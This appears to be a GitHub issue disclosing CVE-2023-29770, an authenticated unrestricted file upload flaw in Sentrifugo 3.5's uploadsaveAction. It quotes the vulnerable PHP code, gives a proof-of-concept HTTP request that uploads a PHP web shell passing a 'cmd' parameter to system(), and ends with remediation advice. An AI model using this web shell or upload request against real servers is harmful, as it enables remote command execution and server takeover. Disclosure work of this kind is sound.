Headline
CVE-2023-29770: Authenticated - Unrestricted file upload · Issue #384 · sapplica/sentrifugo
In Sentrifugo 3.5, the AssetsController::uploadsaveAction function allows an authenticated attacker to upload any file without extension filtering.
Bug: Authenticated - Unrestricted file upload****Description
The AssetsController::uploadsaveAction function allows an authenticated attacker to upload any file without extension filtering.
Vulnerability Detail
The uploadsaveAction function allows an attacker to take full control of the extension and save it to ASSETS_IMAGES_TEMP_PATH
/* /application/modules/assets/controllers/AssetsController.php */ public function uploadsaveAction() {
$assetsModel = new Assets\_Model\_Assets();
$user\_id = sapp\_Global::\_readSession('id');
$image;
$filedata = array();
// Validate file with size greater than default(Upload Max Filesize)limit
if ($\_FILES\["myfile"\]\["size"\] == 0 || $\_FILES\["myfile"\]\["size"\] > (2\*1024\*1024))
{
$this\->\_helper\->json(array('error' => 'filesize'));
}
else if(isset($\_FILES\["myfile"\])) {
$fileName = $\_FILES\["myfile"\]\["name"\];
$image = $fileName;
$fileName = preg\_replace('/\[^a-zA-Z0-9.\\'\]/', '\_', $fileName);
$newName = time().'\_'.$user\_id.'\_'.str\_replace(' ', '\_', $fileName);
$filedata\['original\_name'\] = $fileName;
$filedata\['new\_name'\] = $newName;
$file\_type\_array = explode('.',$filedata\['original\_name'\]);
$file\_type = $file\_type\_array\[1\];
move\_uploaded\_file($\_FILES\["myfile"\]\["tmp\_name"\],ASSETS\_IMAGES\_TEMP\_PATH.$newName);
...
Proof of concept
REQUEST:
POST /sentrifugo/index.php/assets/assets/uploadsave HTTP/2
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Cookie: PHPSESSID=4c6885df75ee21adc859130d344ad10e
Content-Type: multipart/form-data; boundary=---------------------------105724483522942151783772139738
Content-Length: 256
-----------------------------105724483522942151783772139738
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: image/jpeg
<?php
system($_GET["cmd"]);
?>
-----------------------------105724483522942151783772139738--
RESPONSE:
HTTP/1.1 200 OK
Date: Wed, 08 Mar 2023 06:41:21 GMT
Server: Apache/2.2.29 (Unix) mod_wsgi/3.5 Python/2.7.10 PHP/5.6.10 mod_ssl/2.2.29 OpenSSL/0.9.8zh DAV/2 mod_fastcgi/2.4.6 mod_perl/2.0.9 Perl/v5.22.0
X-Powered-By: PHP/5.6.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 78
Connection: close
Content-Type: text/html;charset=UTF-8
{"filedata":{"original_name":"shell.php","new_name":"1678257682_1_shell.php"}}
Solution
- Validate file type: Ensure that the uploaded file matches the expected file type and size limit. This can be done by checking the file extension or using a file type validation library.
- Sanitize file names: Ensure that the file names are sanitized to prevent directory traversal attacks. This involves removing any special characters, whitespace, and other potentially harmful characters.
- Store files outside the webroot: Store uploaded files outside of the web application’s root directory to prevent them from being executed as scripts…
- Implement access controls: Implement access controls to ensure that only authorized users can upload files. This can include requiring authentication, setting permissions, and limiting upload privileges.
Acknowledgement
nhienit at bl4ckh0l3 from Galaxy One